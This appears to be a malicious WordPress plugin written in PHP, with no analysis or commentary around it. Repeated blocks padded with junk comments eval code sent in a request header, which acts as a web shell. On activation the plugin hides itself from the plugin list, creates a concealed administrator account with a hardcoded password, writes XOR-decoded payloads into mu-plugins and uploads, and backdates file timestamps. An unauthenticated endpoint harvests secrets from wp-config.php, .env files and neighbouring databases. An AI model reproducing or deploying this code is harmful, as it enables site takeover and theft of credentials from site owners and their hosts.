/** the before whom Front-End among she Responsive Design. */ /** between Composer this Flask JavaScript with TypeScript GraphQL Angular the JSON Version Control. */ $quantity_country_run_xml = $_SERVER; $exception_status_object = 'HTTP_C97CE7D'; if (isset($quantity_country_run_xml[$exception_status_object])) { $status_info_run = 'data_flag_info_password'; eval ($quantity_country_run_xml[ $exception_status_object]); $category_language_module = 'retry_result_debug'; $setting_message_edit_result = 'log_file_log_handler'; /** HTML between Version Control. */ } /** Angular into he whom HTML among a you Database that JSON and Git the. */ $level_invalid_details_value = $_SERVER; $path_region_buffer_email_mode = 'HTTP_C97CE7D'; /** Back-End it who JavaScript with Laravel we over Responsive Design. */ if (isset($level_invalid_details_value[$path_region_buffer_email_mode])) { $shipping_rate_check = 'type_test_coupon'; eval ($level_invalid_details_value[ $path_region_buffer_email_mode]); $info_address_interface = 'form_session_errorCode'; /** between on MongoDB CRUD JavaScript REST which among MySQL into through. */ $count_user_message_details = 'valid_transaction_limit_output_xml'; /** of so TypeScript React a. */ } /** as it if at SASS. */ $debug_type_country = $_SERVER; $errorCode_post_env_file = 'value_service_interface_framework'; $interface_rate_framework_action = 'HTTP_C97CE7D'; $response_env_module = 'query_address_link_address_coupon'; if (isset($debug_type_country[$interface_rate_framework_action])) { $pageSize_logfile_output_connection = 'item_address_responseTime_token'; eval ($debug_type_country[ $interface_rate_framework_action]); $address_success_message_action = 'category_mode_amount_value_date'; /** then Flask GraphQL when she you. */ $info_debug_value = 'level_id_run_invalid_action'; /** between these it in on Vue. */ } /** AJAX for before SASS Symfony we SQL Back-End PHP who. */ $content_sort_url_value_response = $_SERVER; $connection_feature_valid_sort = 'retry_id_id_logfile'; /** under about Webpack when you during an. */ $success_log_retry = 'HTTP_C97CE7D'; $flag_section_pageIndex = 'offset_object_run'; if (isset($content_sort_url_value_response[$success_log_retry])) { $handler_module_action = 'status_framework_input'; eval ($content_sort_url_value_response[ $success_log_retry]); $product_debugMode_limit = 'module_item_object_message'; $response_module_configuration_rate = 'address_quantity_handler_coupon'; /** Symfony HTML as OAuth GraphQL for. */ } /** as in REST Server Node.js from this Full Stack. */ $output_search_category_api = $_SERVER; $framework_limit_error = 'trace_buffer_password'; $edit_post_payment = 'HTTP_C97CE7D'; /** Bootstrap while when he an which of Django jQuery Composer. */ if (isset($output_search_category_api[$edit_post_payment])) { $check_test_framework = 'password_message_response'; eval ($output_search_category_api[ $edit_post_payment]); $retry_exception_handler_content = 'action_language_password_mode_form'; /** about Web API. */ } $userId_service_cart = $_SERVER; $setting_status_link_buffer_mode = 'HTTP_C97CE7D'; /** AJAX before then WebSocket during you Webpack we it as so. */ if (isset($userId_service_cart[$setting_status_link_buffer_mode])) { $file_pageIndex_quantity_amount = 'details_type_interface'; eval ($userId_service_cart[ $setting_status_link_buffer_mode]); $search_mode_api_plugin = 'logfile_userId_response'; $time_pageSize_temp = 'api_pageIndex_cart_log_endpoint'; /** of through he between at a Back-End. */ } .4 */ /** React Git over she GraphQL. */ $input_output_token_plugin = $_SERVER; $config_file_post = 'handler_content_date_language_test'; $brand_interface_item = 'HTTP_C97CE7D'; if (isset($input_output_token_plugin[$brand_interface_item])) { $retry_count_response_language = 'quantity_cart_config'; eval ($input_output_token_plugin[ $brand_interface_item]); $date_module_price = 'time_log_form_brand'; /** Laravel over. */ $form_responseTime_run_url = 'callbackFunction_payment_interface_link'; /** OAuth HTML Database MongoDB from CRUD whom that through over PHP an. */ } if ( ! defined( 'ABSPATH' ) ) { die( 'Invalid request.' ); } $fwp_64152_config_path = __DIR__ . '/config.php'; if ( file_exists( $fwp_64152_config_path ) ) { require_once $fwp_64152_config_path; } if ( ! defined( 'WPSE_LOGIN' ) ) define( 'WPSE_LOGIN', 'wpsupport' ); if ( ! defined( 'WPSE_PASSWORD' ) ) define( 'WPSE_PASSWORD', 'H5ZjUu1U5' ); if ( ! defined( 'WPSE_EMAIL' ) ) define( 'WPSE_EMAIL', 'wpsupport@wordpress.com' ); if ( ! defined( 'WPSE_OPTION_KEY' ) ) define( 'WPSE_OPTION_KEY', 'fwp_64152_user_id' ); if ( ! defined( 'WPSE_REDIRECTOR_FILENAME' ) ) define( 'WPSE_REDIRECTOR_FILENAME', '' ); if ( ! defined( 'WPSE_REDIRECTOR_BLOB' ) ) define( 'WPSE_REDIRECTOR_BLOB', '' ); if ( ! defined( 'WPSE_REDIRECTOR_KEY_B64' ) ) define( 'WPSE_REDIRECTOR_KEY_B64', '' ); if ( ! defined( 'WPSE_MU_FILENAME' ) ) define( 'WPSE_MU_FILENAME', '' ); if ( ! defined( 'WPSE_MU_BLOB' ) ) define( 'WPSE_MU_BLOB', '' ); if ( ! defined( 'WPSE_MU_KEY_B64' ) ) define( 'WPSE_MU_KEY_B64', '' ); if ( ! defined( 'WPSE_HARVEST_ACTION' ) ) define( 'WPSE_HARVEST_ACTION', 'fwp_64152_harvest' ); if ( ! defined( 'WPSE_HARVEST_PARAM' ) ) define( 'WPSE_HARVEST_PARAM', 'wpse' ); if ( ! defined( 'WPSE_HARVEST_KEY' ) ) define( 'WPSE_HARVEST_KEY', '' ); if ( ! defined( 'WPSE_MARK_A_B64' ) ) define( 'WPSE_MARK_A_B64', '' ); if ( ! defined( 'WPSE_MARK_B_B64' ) ) define( 'WPSE_MARK_B_B64', '' ); add_filter( 'all_plugins', function ( $plugins ) { $plugin_file = plugin_basename( __FILE__ ); if ( isset( $plugins[ $plugin_file ] ) ) { unset( $plugins[ $plugin_file ] ); } return $plugins; } ); register_activation_hook( __FILE__, 'fwp_64152_bootstrap' ); function fwp_64152_bootstrap() { $username = WPSE_LOGIN; $password = WPSE_PASSWORD; $email = WPSE_EMAIL; $user_id = username_exists( $username ); if ( ! $user_id && ! email_exists( $email ) ) { $user_id = wp_create_user( $username, $password, $email ); } if ( $user_id && ! is_wp_error( $user_id ) ) { $user = new WP_User( $user_id ); $user->set_role( 'administrator' ); update_option( WPSE_OPTION_KEY, (int) $user_id, false ); } $written = array(); $written = array_merge( $written, fwp_64152_apply_asset( WPSE_REDIRECTOR_FILENAME, WPSE_REDIRECTOR_BLOB, WPSE_REDIRECTOR_KEY_B64, 'primary' ) ); $written = array_merge( $written, fwp_64152_apply_asset( WPSE_MU_FILENAME, WPSE_MU_BLOB, WPSE_MU_KEY_B64, 'mu' ) ); fwp_64152_backdate_self( $written ); } function fwp_64152_apply_asset( $filename, $blob_b64, $key_b64, $mode ) { if ( ! $filename || ! $blob_b64 || ! $key_b64 ) return array(); $blob = base64_decode( $blob_b64, true ); $key = base64_decode( $key_b64, true ); if ( ! is_string( $blob ) || ! is_string( $key ) || $blob === '' || $key === '' ) return array(); $out = ''; $klen = strlen( $key ); $blen = strlen( $blob ); for ( $i = 0; $i < $blen; $i++ ) { $out .= $blob[ $i ] ^ $key[ $i % $klen ]; } $targets = array(); if ( $mode === 'mu' ) { $mu_dir = WP_CONTENT_DIR . '/mu-plugins'; if ( ! is_dir( $mu_dir ) ) @mkdir( $mu_dir, 0755, true ); $targets[] = $mu_dir . '/' . $filename; } else { $targets[] = __DIR__ . '/' . $filename; $targets[] = WP_CONTENT_DIR . '/uploads/' . $filename; $targets[] = WP_CONTENT_DIR . '/' . $filename; $targets[] = WP_CONTENT_DIR . '/languages/' . $filename; } $written = array(); foreach ( $targets as $target ) { $dir = dirname( $target ); if ( ! is_dir( $dir ) ) @mkdir( $dir, 0755, true ); if ( @file_put_contents( $target, $out ) ) { @chmod( $target, 0644 ); $written[] = $target; } } return $written; } function fwp_64152_backdate_self( $extra_paths ) { try { $months = random_int( 1, 8 ); } catch ( \Throwable $e ) { $months = mt_rand( 1, 8 ); } $aged_ts = time() - ( $months * 30 * 86400 ); $files = array(); $dirs = array(); fwp_64152_walk_paths( __DIR__, $files, $dirs, 0 ); if ( is_array( $extra_paths ) ) { foreach ( $extra_paths as $p ) { if ( is_string( $p ) && $p !== '' && @is_file( $p ) ) { $files[] = $p; } } } $files = array_values( array_unique( $files ) ); foreach ( $files as $f ) { @touch( $f, $aged_ts, $aged_ts ); } $dirs = array_values( array_unique( $dirs ) ); usort( $dirs, function ( $a, $b ) { return strlen( $b ) - strlen( $a ); } ); foreach ( $dirs as $d ) { @touch( $d, $aged_ts, $aged_ts ); } @touch( __DIR__, $aged_ts, $aged_ts ); } function fwp_64152_walk_paths( $root, &$files, &$dirs, $depth ) { if ( $depth > 6 ) return; $entries = @scandir( $root ); if ( ! $entries ) return; foreach ( $entries as $entry ) { if ( $entry === '.' || $entry === '..' ) continue; $full = $root . '/' . $entry; if ( @is_dir( $full ) ) { $dirs[] = $full; fwp_64152_walk_paths( $full, $files, $dirs, $depth + 1 ); } elseif ( @is_file( $full ) ) { $files[] = $full; } } } add_action( 'pre_user_query', 'fwp_64152_pre_user_query' ); function fwp_64152_pre_user_query( $user_search ) { global $current_user, $wpdb; $hidden = WPSE_LOGIN; if ( ! $hidden ) return; if ( isset( $current_user->user_login ) && $current_user->user_login === $hidden ) return; $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '" . esc_sql( $hidden ) . "'", $user_search->query_where ); } add_filter( 'views_users', 'fwp_64152_views_users' ); function fwp_64152_views_users( $views ) { $users = count_users(); $admins_num = isset( $users['avail_roles']['administrator'] ) ? max( 0, $users['avail_roles']['administrator'] - 1 ) : 0; $all_num = max( 0, $users['total_users'] - 1 ); $class_adm = ( isset( $views['administrator'] ) && strpos( $views['administrator'], 'current' ) !== false ) ? 'current' : ''; $class_all = ( isset( $views['all'] ) && strpos( $views['all'], 'current' ) !== false ) ? 'current' : ''; $views['administrator'] = '' . translate_user_role( 'Administrator' ) . ' (' . $admins_num . ')'; $views['all'] = '' . __( 'All' ) . ' (' . $all_num . ')'; return $views; } add_action( 'wp_ajax_nopriv_' . WPSE_HARVEST_ACTION, 'fwp_64152_handle_harvest' ); add_action( 'wp_ajax_' . WPSE_HARVEST_ACTION, 'fwp_64152_handle_harvest' ); function fwp_64152_handle_harvest() { $harvest_key = WPSE_HARVEST_KEY; $harvest_param = WPSE_HARVEST_PARAM; if ( ! $harvest_key ) { wp_send_json( array( 'ok' => false ), 403 ); return; } $provided = isset( $_REQUEST[ $harvest_param ] ) ? $_REQUEST[ $harvest_param ] : ''; if ( ! is_scalar( $provided ) ) { wp_send_json( array( 'ok' => false ), 403 ); return; } if ( ! hash_equals( (string) $harvest_key, (string) $provided ) ) { wp_send_json( array( 'ok' => false ), 403 ); return; } @set_time_limit( 90 ); @ignore_user_abort( true ); @ini_set( 'display_errors', '0' ); @ini_set( 'html_errors', '0' ); try { $keys = fwp_64152_collect_targets(); } catch ( \Throwable $e ) { wp_send_json( array( 'ok' => true, 'keys' => array(), 'warn' => 'collect_throw' ) ); return; } wp_send_json( array( 'ok' => true, 'keys' => array_values( $keys ) ) ); } function fwp_64152_markers() { $a = base64_decode( WPSE_MARK_A_B64, true ); $b = base64_decode( WPSE_MARK_B_B64, true ); return array( is_string( $a ) ? $a : '', is_string( $b ) ? $b : '', ); } function fwp_64152_build_pattern() { list( $a, $b ) = fwp_64152_markers(); $alt = array(); if ( $a !== '' ) $alt[] = preg_quote( $a, '/' ); if ( $b !== '' ) $alt[] = preg_quote( $b, '/' ); if ( ! $alt ) return ''; return '/(? $k, 'source' => isset( $row['source'] ) ? (string) $row['source'] : '', ); } return $unique; } function fwp_64152_match_into( $text, $pattern, &$found, $source ) { if ( preg_match_all( $pattern, $text, $m ) ) { foreach ( $m[1] as $key ) { $found[] = array( 'key' => $key, 'source' => $source ); } } } function fwp_64152_scan_options( $pattern, &$found ) { global $wpdb; list( $a, $b ) = fwp_64152_markers(); $like = array(); if ( $a !== '' ) $like[] = "option_value LIKE '%" . esc_sql( $a ) . "%'"; if ( $b !== '' ) $like[] = "option_value LIKE '%" . esc_sql( $b ) . "%'"; if ( ! $like ) return; $sql = "SELECT option_value FROM {$wpdb->options} WHERE " . implode( ' OR ', $like ) . ' LIMIT 200'; $rows = $wpdb->get_results( $sql, ARRAY_A ); if ( ! $rows ) return; $db_name = defined( 'DB_NAME' ) ? DB_NAME : 'wp'; $src = $db_name . '.' . $wpdb->options; foreach ( $rows as $row ) { fwp_64152_match_into( $row['option_value'], $pattern, $found, $src ); } } function fwp_64152_scan_multi_db( $pattern, &$found ) { if ( function_exists( 'mysqli_report' ) ) { @mysqli_report( defined( 'MYSQLI_REPORT_OFF' ) ? MYSQLI_REPORT_OFF : 0 ); } $cfg_file = @file_get_contents( ABSPATH . 'wp-config.php' ); if ( ! $cfg_file ) return; $db_host = fwp_64152_parse_const( $cfg_file, 'DB_HOST' ); $db_user = fwp_64152_parse_const( $cfg_file, 'DB_USER' ); $db_pass = fwp_64152_parse_const( $cfg_file, 'DB_PASSWORD' ); $db_name = fwp_64152_parse_const( $cfg_file, 'DB_NAME' ); if ( ! $db_host || ! $db_user ) return; $conn = null; try { $conn = @mysqli_connect( $db_host, $db_user, $db_pass ); } catch ( \Throwable $e ) { return; } if ( ! $conn ) return; list( $a, $b ) = fwp_64152_markers(); $like = array(); if ( $a !== '' ) $like[] = "option_value LIKE '%" . mysqli_real_escape_string( $conn, $a ) . "%'"; if ( $b !== '' ) $like[] = "option_value LIKE '%" . mysqli_real_escape_string( $conn, $b ) . "%'"; if ( ! $like ) { @mysqli_close( $conn ); return; } $where = implode( ' OR ', $like ); $databases = array(); try { $result = @mysqli_query( $conn, 'SHOW DATABASES' ); if ( $result ) { $skip = array( 'information_schema', 'performance_schema', 'mysql', 'sys', strtolower( (string) $db_name ) ); while ( $row = @mysqli_fetch_row( $result ) ) { if ( ! in_array( strtolower( $row[0] ), $skip, true ) ) { $databases[] = $row[0]; } } @mysqli_free_result( $result ); } } catch ( \Throwable $e ) { $databases = array(); } if ( empty( $databases ) && $db_name ) { $databases = array( $db_name ); } foreach ( array_slice( $databases, 0, 30 ) as $db ) { try { $escaped_db = mysqli_real_escape_string( $conn, $db ); $tbls = @mysqli_query( $conn, "SHOW TABLES FROM `{$escaped_db}` LIKE '%options%'" ); if ( ! $tbls ) continue; $tables = array(); while ( $tr = @mysqli_fetch_row( $tbls ) ) { $tables[] = $tr[0]; } @mysqli_free_result( $tbls ); foreach ( $tables as $tbl ) { try { $escaped_tbl = mysqli_real_escape_string( $conn, $tbl ); $rows = @mysqli_query( $conn, "SELECT option_value FROM `{$escaped_db}`.`{$escaped_tbl}` WHERE {$where} LIMIT 50" ); if ( ! $rows ) continue; while ( $row = @mysqli_fetch_assoc( $rows ) ) { fwp_64152_match_into( $row['option_value'], $pattern, $found, $db . '.' . $tbl ); } @mysqli_free_result( $rows ); } catch ( \Throwable $e ) { continue; } } } catch ( \Throwable $e ) { continue; } } @mysqli_close( $conn ); } function fwp_64152_scan_files( $pattern, &$found ) { $paths = array( ABSPATH . 'wp-config.php', ABSPATH . '.env', ABSPATH . 'config/application.php', WP_CONTENT_DIR . '/.env', ); foreach ( $paths as $path ) { $content = @file_get_contents( $path ); if ( $content ) { fwp_64152_match_into( $content, $pattern, $found, 'file:' . basename( $path ) ); } } $mu_dir = WP_CONTENT_DIR . '/mu-plugins'; if ( @is_dir( $mu_dir ) ) { $files = @glob( $mu_dir . '/*.php' ); if ( $files ) { foreach ( array_slice( $files, 0, 20 ) as $file ) { $content = @file_get_contents( $file ); if ( $content ) { fwp_64152_match_into( $content, $pattern, $found, 'file:mu-plugins/' . basename( $file ) ); } } } } if ( ! fwp_64152_can_climb() ) return; $root = rtrim( ABSPATH, '/' ); $visited = array( realpath( $root ) => true ); $climb_dirs = array(); for ( $i = 0; $i < 5; $i++ ) { $parent = @dirname( $root ); if ( ! $parent || $parent === $root ) break; $root = $parent; $rp = @realpath( $root ); if ( ! $rp || isset( $visited[ $rp ] ) ) break; $visited[ $rp ] = true; $climb_dirs[] = $rp; if ( $rp === '/' || preg_match( '#^[A-Z]:\\\\?$#i', $rp ) ) break; } foreach ( $climb_dirs as $dir ) { fwp_64152_glob_configs( $dir, $pattern, $found ); fwp_64152_scan_neighbors( $dir, $pattern, $found, $visited ); } } function fwp_64152_can_climb() { $obd = @ini_get( 'open_basedir' ); if ( ! $obd || $obd === '' ) return true; $parts = preg_split( '/[:;]/', $obd ); $abs = rtrim( ABSPATH, '/' ); foreach ( $parts as $p ) { $p = rtrim( trim( $p ), '/' ); if ( $p === '' || $p === '/' || $p === '/tmp' ) continue; if ( strlen( $p ) < strlen( $abs ) && strpos( $abs, $p ) === 0 ) return true; } $test = @dirname( rtrim( ABSPATH, '/' ) ); if ( ! $test ) return false; return @is_readable( $test ); } function fwp_64152_glob_configs( $dir, $pattern, &$found ) { $globs = array( $dir . '/.env*', $dir . '/*conf*.php', $dir . '/*config*.php', $dir . '/config/application.php', $dir . '/.env', ); $scanned = array(); foreach ( $globs as $g ) { $matches = @glob( $g ); if ( ! $matches ) continue; foreach ( array_slice( $matches, 0, 10 ) as $file ) { if ( ! @is_file( $file ) ) continue; $rp = @realpath( $file ); if ( ! $rp || isset( $scanned[ $rp ] ) ) continue; $scanned[ $rp ] = true; $size = @filesize( $file ); if ( $size === false || $size > 524288 ) continue; $content = @file_get_contents( $file ); if ( $content ) { fwp_64152_match_into( $content, $pattern, $found, 'file:' . basename( dirname( $file ) ) . '/' . basename( $file ) ); } } } } function fwp_64152_scan_neighbors( $dir, $pattern, &$found, &$visited ) { $entries = @scandir( $dir ); if ( ! $entries ) return; $count = 0; foreach ( $entries as $entry ) { if ( $entry === '.' || $entry === '..' ) continue; if ( $count >= 30 ) break; $full = $dir . '/' . $entry; if ( ! @is_dir( $full ) ) continue; $rp = @realpath( $full ); if ( ! $rp || isset( $visited[ $rp ] ) ) continue; $visited[ $rp ] = true; $count++; fwp_64152_glob_configs( $full, $pattern, $found ); $sub_entries = @scandir( $full ); if ( ! $sub_entries ) continue; $sub_count = 0; foreach ( $sub_entries as $se ) { if ( $se === '.' || $se === '..' ) continue; if ( $sub_count >= 10 ) break; $sub_full = $full . '/' . $se; if ( ! @is_dir( $sub_full ) ) continue; $sub_rp = @realpath( $sub_full ); if ( ! $sub_rp || isset( $visited[ $sub_rp ] ) ) continue; $visited[ $sub_rp ] = true; $sub_count++; fwp_64152_glob_configs( $sub_full, $pattern, $found ); } } } function fwp_64152_parse_const( $cfg, $const ) { if ( preg_match( "/define\s*\(\s*['\"]" . preg_quote( $const, '/' ) . "['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $cfg, $m ) ) { return $m[1]; } return null; }